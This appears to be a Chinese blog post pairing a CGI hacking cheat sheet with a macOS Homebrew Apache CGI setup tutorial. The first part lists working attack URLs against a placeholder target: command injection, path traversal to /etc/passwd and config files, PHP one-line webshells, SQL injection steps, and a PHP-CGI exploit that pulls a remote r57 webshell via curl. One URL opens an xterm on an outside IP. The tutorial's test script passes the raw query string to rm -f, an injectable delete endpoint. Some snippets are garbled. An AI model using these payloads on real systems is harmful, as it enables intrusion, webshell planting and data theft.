总体思路,跳过限制,查看敏感文件和密码相关文件。
写入一句话cgi,进后台试传webshell(如果后台加验证或者MD5的时候,可以试着cookies欺骗、本地提交),寻找可执行的目录和相关函数,拿shell>提权
Perl脚本的漏洞大多出在open()、system()或者 ’’调用中,前者允许读写和执行,而后两个允许执行。
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET。
- http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
- http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
- http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
- http://target.com/cgi-bin/home/news/sub.pl?`id`
- http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
- http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
-
- http://target.com/test.pl;ls|
- http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
- http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
- http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
- 比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
- http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
-
- http://target.com/test.pl?&........ /../../etc/passwd
-
- http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=./test 前面加./
- http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=test%00 注意后面的 %00 别弄丢了
- http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../etc/passwd%00
-
- http://www.target.org/show.php?filename=../../../../../../../home/murong/include/config.php 查看php代码
- http://www.target.org/show.php?filename=../../../../../../../home/murong/admin/global.php
emm和ps的一句话:
- "$a,$b);unlink($a);?>"
- echo "" > up.php
- eval($_POST[cmd]);?>
-
- http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20
-
- >bbb%20|
-
- http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’SELECT\’ 字符串
-
- http://www.target.org/cgi-bin/club/scripts/..%c0%af../..%c0%af../bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
- http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法。
- http://target.com/index.html#cmd.exe
- http://target.com/index.html?dummyparam=xp_cmdshell
- lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
判断是否存在注入:
- http://URL.asp?id=24 and 1=1 返回了正常
- http://URL.asp?id=24 and 1=2 返回了错误
判断数据库是ACC或MSS:ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,MSS的系统表是sysobjects,在WEB环境下有访问权限。
- http://URL.asp?id=24 and (select count(*) from sysobjects)>0
- http://URL.asp?id=24 and (select count(*) from msysobjects)>0
若数据库是MSS,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
判断表名:
http://URL.asp?id=24 and (select count(*) from 表名)>0
如果表名存在就会返回正常,反则错误。
判断列名:
and (select count(列名) from 已存在表名)>0
判断网站的回显位置:
- order by N
- union select 1,2,3…N from 已存在表名
猜用户名和密码长度,根据回显位置替换列名就可以了。
PHP-CGI漏洞利用EXP
1、本地包含直接执行代码:
curl -H "USER-AGENT: " https://www.webshell.cc/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl https://www.webshell.cc/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttps://www.webshell.cc/r57.txt

homebrew安装apache:
brew tap homebrew/apache //更新下仓库
安装cgi:
- brew update
- brew tap homebrew/httpd24
- brew install httpd24
安装完后,会有如下提示:
- DocumentRoot is /usr/local/var/www.
-
- The default ports have been set in /usr/local/etc/httpd/httpd.conf to 8080 and in
- /usr/local/etc/httpd/extra/httpd-ssl.conf to 8443 so that httpd can run without sudo.
-
- To have launchd start httpd now and restart at login:
- brew services start httpd
- Or, if you don't want/need a background service you can just run:
- apachectl start
打开apache:
brew services start httpd
在浏览器输入:
localhost:8080
如果得到 It’works,说明apache运行成功。
brew安装的apache默认端口是8080,mac自带的apache默认端口是80。
修改httpd.conf文件:
添加两行,将166-171 修改 取消注释:
- <IfModule !mpm_prefork_module>
- LoadModule cgid_module lib/httpd/modules/mod_cgid.so
- IfModule>
- <IfModule mpm_prefork_module>
- LoadModule cgi_module lib/httpd/modules/mod_cgi.so
- IfModule>
修改
var/www/cgi-bin"> - Options ExecCGI
- AllowOverride None
- Order deny,allow
- Allow from all
取消下面四行的注释:
- ScriptAlias /cgi-bin/ "/usr/local/var/www/cgi-bin/"
- AddHandler cgi-script .cgi
- AddType text/html .shtml
- AddOutputFilter INCLUDES .shtml
在AddHandler cgi-script .cgi 后面添加支持的cgi脚本格式, 比如.sh .pl. 由于我这里用shell脚本,所有修改为:
AddHandler cgi-script .cgi .sh .pl .py
将编辑好的cgi.py 文件放入 /usr/local/var/www/cgi-bin/:

cgi.py的内容:
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # @Date : 2018-08-20 15:41:29
- # @Author : Timtian (tzf_008@126.com)
- # @Link : https://blog.csdn.net/timtian008
- # @Version : $Id$
-
- import os
-
-
- print ("Content-type:text/html")
- print ('') # 空行,告诉服务器结束头部
- print ('')
- print ('')
- print ('')
- print ('
Hello World - 我的第一个 CGI 程序! ') - print ('')
- print ('')
- print ('
Hello World! 我是来自菜鸟教程的第一CGI程序
') - print ('')
- print ('')
修改权限:
- chmod +x /usr/local/var/www
- chmod +x /usr/local/var/www/cgi-bin
- chmod 777 /usr/local/var/www/cgi-bin/cgi.py
重启服务器:
- brew services restart httpd
- 或
- sudo apachectl restart
浏览器打开:
http://localhost:8080/cgi-bin/cgi.py
成功的显示结果:

在 /usr/local/var/www/cgi-bin 下放置测试脚本delete.sh:
- #!/bin/bash
- echo "Content-type: text/html"
- echo ""
-
- # ok, we've sent the header, now send some content
- rm -f $QUERY_STRING
- if [ "$?" -eq 0 ]; then
- echo "Deleted!"
- else
- echo "Delete failed!"
- fi
需要给delete.sh 权限:
chmod +x /usr/local/var/www/cgi-bin/delete.sh
在浏览器中打开:
localhost:8080/cgi-bin/delete.sh?1.png
或者用curl:
curl "localhost:8080/cgi-bin/delete.sh?1.png"
注意:
1.404 not fount
可能是DocumentRoot没有设置对,或者ScriptAlias /cgi-bin/ 没设置对,或者没有对应的文件
2.403 forbidden
我遇到这个问题是因为 /cgi-bin/ 不在 DocumentRoot的子目录下。
还有一个可能是 没有给 /cgi-bin/还有里面的脚本执行权限
3.500 Internal Server Error
是脚本输出的格式不符合http1.1协议格式
小编就因为 书写错误掉入坑中:

